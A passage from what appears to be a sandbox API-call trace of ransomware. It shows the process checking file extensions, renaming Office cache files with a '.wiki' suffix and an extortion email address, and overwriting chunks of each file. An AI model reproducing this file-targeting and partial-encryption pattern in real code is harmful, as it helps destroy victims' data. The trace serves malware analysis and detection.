lpString2="OG1") returned -1 [0043.182] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0043.182] lstrlenW (lpString=".dbf") returned 4 [0043.182] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0043.182] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0043.182] lstrlenW (lpString=".1cd") returned 4 [0043.182] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0043.182] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0043.182] lstrlenW (lpString=".jpg") returned 4 [0043.182] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0043.182] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0043.182] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0043.182] lstrlenW (lpString=".doc") returned 4 [0043.182] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0043.182] lstrlenW (lpString=".docx") returned 5 [0043.182] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0043.182] lstrlenW (lpString=".pdf") returned 4 [0043.182] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0043.182] lstrlenW (lpString=".xls") returned 4 [0043.182] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0043.182] lstrlenW (lpString=".xlsx") returned 5 [0043.182] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0043.182] lstrlenW (lpString=".ppt") returned 4 [0043.183] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0043.183] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0043.183] lstrlenW (lpString=".zip") returned 4 [0043.183] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0043.183] lstrlenW (lpString=".rar") returned 4 [0043.183] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0043.183] lstrlenW (lpString=".bz2") returned 4 [0043.183] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0043.183] lstrlenW (lpString=".7z") returned 3 [0043.183] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0043.183] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0043.183] lstrlenW (lpString=".dbf") returned 4 [0043.183] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0043.183] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0043.183] lstrlenW (lpString=".1cd") returned 4 [0043.183] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0043.183] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0043.183] lstrlenW (lpString=".jpg") returned 4 [0043.183] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0043.183] Sleep (dwMilliseconds=0x64) [0043.424] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0043.424] lstrlenW (lpString="PowerPointMUI.msi") returned 17 [0043.424] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.425] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2503680) returned 1 [0043.425] CloseHandle (hObject=0x170) returned 1 [0043.425] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0043.425] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.425] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0043.426] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.426] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.426] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.426] ReadFile (in: hFile=0x170, lpBuffer=0x3760058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x3760058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.433] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.433] ReadFile (in: hFile=0x170, lpBuffer=0x37a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37a0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.444] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.444] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.444] ReadFile (in: hFile=0x170, lpBuffer=0x37e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37e0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.474] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.474] WriteFile (in: hFile=0x170, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x2c4fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0043.703] SetEndOfFile (hFile=0x170) returned 1 [0043.704] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40454f0 [0043.707] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.707] WriteFile (in: hFile=0x170, lpBuffer=0x40454f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40454f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.709] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.709] WriteFile (in: hFile=0x170, lpBuffer=0x40454f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40454f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.714] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.714] WriteFile (in: hFile=0x170, lpBuffer=0x40454f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40454f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.717] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40454f0 | out: hHeap=0x6c0000) returned 1 [0043.717] CloseHandle (hObject=0x170) returned 1 [0044.629] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0044.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0044.722] lstrlenW (lpString=".doc") returned 4 [0044.722] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.722] lstrlenW (lpString=".docx") returned 5 [0044.722] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.722] lstrlenW (lpString=".pdf") returned 4 [0044.722] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.722] lstrlenW (lpString=".xls") returned 4 [0044.722] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.722] lstrlenW (lpString=".xlsx") returned 5 [0044.722] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.723] lstrlenW (lpString=".ppt") returned 4 [0044.723] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0044.723] lstrlenW (lpString=".zip") returned 4 [0044.723] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.723] lstrlenW (lpString=".rar") returned 4 [0044.723] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.723] lstrlenW (lpString=".bz2") returned 4 [0044.723] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.723] lstrlenW (lpString=".7z") returned 3 [0044.723] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0044.723] lstrlenW (lpString=".dbf") returned 4 [0044.723] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0044.723] lstrlenW (lpString=".1cd") returned 4 [0044.723] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0044.723] lstrlenW (lpString=".jpg") returned 4 [0044.723] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0044.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0044.723] lstrlenW (lpString=".doc") returned 4 [0044.723] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.723] lstrlenW (lpString=".docx") returned 5 [0044.723] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.723] lstrlenW (lpString=".pdf") returned 4 [0044.723] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.723] lstrlenW (lpString=".xls") returned 4 [0044.723] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.723] lstrlenW (lpString=".xlsx") returned 5 [0044.723] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.723] lstrlenW (lpString=".ppt") returned 4 [0044.723] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0044.724] lstrlenW (lpString=".zip") returned 4 [0044.724] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.724] lstrlenW (lpString=".rar") returned 4 [0044.724] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.724] lstrlenW (lpString=".bz2") returned 4 [0044.724] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.724] lstrlenW (lpString=".7z") returned 3 [0044.724] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0044.724] lstrlenW (lpString=".dbf") returned 4 [0044.724] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0044.724] lstrlenW (lpString=".1cd") returned 4 [0044.724] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0044.724] lstrlenW (lpString=".jpg") returned 4 [0044.724] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.724] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0044.724] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0044.724] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0044.725] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2513920) returned 1 [0044.725] CloseHandle (hObject=0x18c) returned 1 [0044.725] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0044.725] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.725] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0044.726] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0044.726] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0x0) returned 1 [0044.726] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.726] ReadFile (in: hFile=0x18c, lpBuffer=0x3760058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x3760058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.742] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.742] ReadFile (in: hFile=0x18c, lpBuffer=0x37a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37a0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.758] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.758] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.759] ReadFile (in: hFile=0x18c, lpBuffer=0x37e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37e0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.782] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.782] WriteFile (in: hFile=0x18c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x2c4fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0045.057] SetEndOfFile (hFile=0x18c) returned 1 [0045.057] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x4085500 [0045.060] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.060] WriteFile (in: hFile=0x18c, lpBuffer=0x4085500*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x4085500*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.062] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.062] WriteFile (in: hFile=0x18c, lpBuffer=0x4085500*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x4085500*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.067] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.067] WriteFile (in: hFile=0x18c, lpBuffer=0x4085500*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x4085500*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.070] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4085500 | out: hHeap=0x6c0000) returned 1 [0045.070] CloseHandle (hObject=0x18c) returned 1 [0045.865] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0045.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0045.866] lstrlenW (lpString=".doc") returned 4 [0045.866] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.866] lstrlenW (lpString=".docx") returned 5 [0045.866] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.866] lstrlenW (lpString=".pdf") returned 4 [0045.866] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.866] lstrlenW (lpString=".xls") returned 4 [0045.866] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.866] lstrlenW (lpString=".xlsx") returned 5 [0045.866] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.866] lstrlenW (lpString=".ppt") returned 4 [0045.866] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0045.866] lstrlenW (lpString=".zip") returned 4 [0045.866] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.866] lstrlenW (lpString=".rar") returned 4 [0045.866] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.866] lstrlenW (lpString=".bz2") returned 4 [0045.866] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.866] lstrlenW (lpString=".7z") returned 3 [0045.866] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0045.866] lstrlenW (lpString=".dbf") returned 4 [0045.866] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0045.866] lstrlenW (lpString=".1cd") returned 4 [0045.866] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0045.866] lstrlenW (lpString=".jpg") returned 4 [0045.867] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0045.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0045.867] lstrlenW (lpString=".doc") returned 4 [0045.867] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.867] lstrlenW (lpString=".docx") returned 5 [0045.867] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.867] lstrlenW (lpString=".pdf") returned 4 [0045.867] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.867] lstrlenW (lpString=".xls") returned 4 [0045.867] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.867] lstrlenW (lpString=".xlsx") returned 5 [0045.867] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.867] lstrlenW (lpString=".ppt") returned 4 [0045.867] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0045.867] lstrlenW (lpString=".zip") returned 4 [0045.867] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.867] lstrlenW (lpString=".rar") returned 4 [0045.867] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.867] lstrlenW (lpString=".bz2") returned 4 [0045.867] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.867] lstrlenW (lpString=".7z") returned 3 [0045.867] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0045.867] lstrlenW (lpString=".dbf") returned 4 [0045.867] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0045.867] lstrlenW (lpString=".1cd") returned 4 [0045.867] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0045.867] lstrlenW (lpString=".jpg") returned 4 [0045.867] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.868] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0045.868] lstrlenW (lpString="PubLR.cab") returned 9 [0045.868] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0045.868] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=9958388) returned 1 [0045.868] CloseHandle (hObject=0x18c) returned 1 [0045.868] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0045.868] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.868] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0045.869] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, 